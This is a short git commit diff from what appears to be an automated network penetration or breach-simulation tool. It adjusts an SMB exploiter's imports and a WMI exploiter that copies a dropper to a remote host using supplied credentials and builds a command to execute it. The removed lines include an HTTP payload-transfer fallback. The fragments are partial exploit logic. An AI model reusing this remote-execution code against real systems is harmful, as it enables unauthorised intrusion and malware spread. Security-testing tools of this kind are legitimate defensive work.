minor bug fixes

This commit is contained in:
Barak Hoffer 2015-10-08 13:32:26 +03:00
parent 35859c1a21
commit 760d267459
2 changed files with 3 additions and 6 deletions

View File

@ -16,6 +16,7 @@ from model import DROPPER_CMDLINE, MONKEY_CMDLINE
from exploit import HostExploiter from exploit import HostExploiter
from exploit.tools import SmbTools, get_target_monkey from exploit.tools import SmbTools, get_target_monkey
from network.tools import check_port_tcp from network.tools import check_port_tcp
from network import SMBFinger
try: try:
from impacket import smb from impacket import smb

View File

@ -74,14 +74,10 @@ class WmiExploiter(HostExploiter):
password, password,
src_path, src_path,
self._config.dropper_target_path) self._config.dropper_target_path)
remote_full_path = False
if not remote_full_path: if not remote_full_path:
remote_full_path = self._config.dropper_target_path wmi_connection.close()
http_path = HTTPTools.create_transfer(host, return False
src_path,
remote_full_path)
cmdline = MONKEY_CMDLINE_HTTP % {'http_path': http_path, 'monkey_path': remote_full_path}
# execute the remote dropper in case the path isn't final # execute the remote dropper in case the path isn't final
elif remote_full_path.lower() != self._config.dropper_target_path.lower(): elif remote_full_path.lower() != self._config.dropper_target_path.lower():
cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path} cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path}